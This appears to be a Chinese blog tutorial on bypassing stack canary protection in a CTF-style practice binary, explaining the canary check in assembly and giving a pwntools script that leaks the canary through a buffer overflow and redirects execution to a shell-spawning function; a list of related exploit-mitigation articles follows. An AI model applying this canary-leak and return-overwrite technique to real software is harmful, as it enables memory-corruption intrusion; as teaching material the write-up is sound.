Canary机制的绕过
目标程序下载
提取码:8ypi
1.检查程序开启了哪些安全保护机制

Canary与NX开启了
Canary机制简介
64位的canary机制,会在函数头部添加:
mov rax,QWORD PTR fs:0x28 //从fs:0x28寄存器中取一个值
mov QWORD PTR [rbp-0x8],rax //写入当前栈帧底部(RBP前方第一个数)
结尾部分添加:
mov rcx,QWORD PTR [rbp-0x8] //把金丝雀值取出
xor rcx,QWORD PTR fs:0x28 //比较与寄存器中的是否一样
je xxxxx //函数正常退出
call 0x400580 <__stack_chk_fail@plt> //__stack_chk_fail()函数功能为报告栈损坏
当前函数栈帧为:
0040| 0x7fffffffe088 --> 0xf383d165ddc4a700 //Canary值
0048| 0x7fffffffe090 --> 0x7fffffffe4c0 //上个函数栈帧的RBP
0056| 0x7fffffffe098 --> 0x4007a1 //上个函数栈帧的RIP
- Canary值在rbp到rsp之间,(并不一定是rbp-8的位置很长一段时间我认为是在rbp-8位置,[自嘲的笑了笑])
- Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来
- Canary值如果被改写,程序会崩溃
2.在IDA中查找码漏洞与可以被我们利用的位置

可以看到buf只有 0x70-0xc=0x64 的大小,但是read的第三个参数却是0x200,漏洞点找到了
v3这个变量就是Canary的值
而且在IDA中还找到了这么一个函数.....

只要让程序运行到这个函数就ok了,好简单
看一下这个函数的地址

Canary机制怎么绕过?
Canary的值最后两位是0,也就是说是一个字符的大小,如果上面是字符串,写多了一位,刚好把这个00覆盖掉
那么,就能打印出前几位Canary的值,然后在自己的payload中Canary的位置写上这个值,让Canary原来的值与
自己写的值一样,这样在函数结束时的Canary验证函数就不会出错
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC
payload = (offset)*"a" + "b"
p.send(payload)
p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))#得到canary的值
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址
p.send(payload2)
p.interactive()
成功得到shell

Canary机制的绕过的更多相关文章
- Linux保护机制和绕过方式
Linux保护机制和绕过方式 CANNARY(栈保护) 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- 内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制
1.1 SEHOP保护机制 1.1.1 SEHOP工作原理: SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下: BOOL RtlIsValidHandler(handle ...
- 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR
ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH
利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴. 原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...
- 内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制 1.1.1 Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...
随机推荐
- [20180423]flashback tablespace与snapshot standby.txt
[20180423]flashback tablespace与snapshot standby.txt --//缺省建立表空间是打开flashback on,如果某个表空间flashback off, ...
- python自动发送测试报告(五)
python实现自动发送邮件具体步骤参考笔者的另一篇博文,python实现邮件的发送 本次只展示发送附件的代码,MIMEApplication支持常用格式文档(.jpg..mp3.zip等)当做附件上 ...
- 恢复已删除ibdata1
最近我有一个客户删除InnoDB主表空间 - ibdata1 - 和重做日志 - ib_logfile *的情况. MySQL使InnoDB文件始终保持打开状态.以下恢复技术基于此事实,它允许抢救数据 ...
- 比较分析C++、Java、Python、R语言的面向对象特征,这些特征如何实现的?有什么相同点?
一门课的课后题答案,在这里备份一下: 面向对象程序设计语言 – 比较分析C++.Java.Python.R语言的面向对象特征,这些特征如何实现的?有什么相同点? C++ 语言的面向对象特征: 对象模 ...
- Docker搭建wordpress博客环境(Centos7)
Docker搭建wordpress博客环境(Centos7) 升级系统 yum -y update 设置docker库 sudo yum install -y yum-utils sudo yum-c ...
- 16LaTeX学习系列之---LaTeX数学公式的补充
目录 目录 前言 (一)知识点说明 1.基础细节 2.gather环境 3.align环境 4.split环境 5.cases环境 (二)实例 1.源代码 2.输出效果 目录 本系列是有关LaTeX的 ...
- January 19th, 2018 Week 3rd Friday
As iron sharpens iron, so a friend sharpens a friend. 铁磨铁,可以磨砺出刀刃,朋友相交,亦应如此. When making friends wit ...
- January 08th, 2018 Week 02nd Monday
To be yourself in a world that is constantly trying to make you something else is the greatest accom ...
- Linux下Sublime Text 3的安装
1.下载 官网下载 或者直接 #wget http://c758482.r82.cf2.rackcdn.com/sublime_text_3_build_3059_x32.tar.bz2 (linux ...
- 使用sublime编写python、php代码前的一些配置
1.使用sublime编写python代码 打开sublime软件,Tools —> Build System —> New Build System,得到后缀名为“sublime-bui ...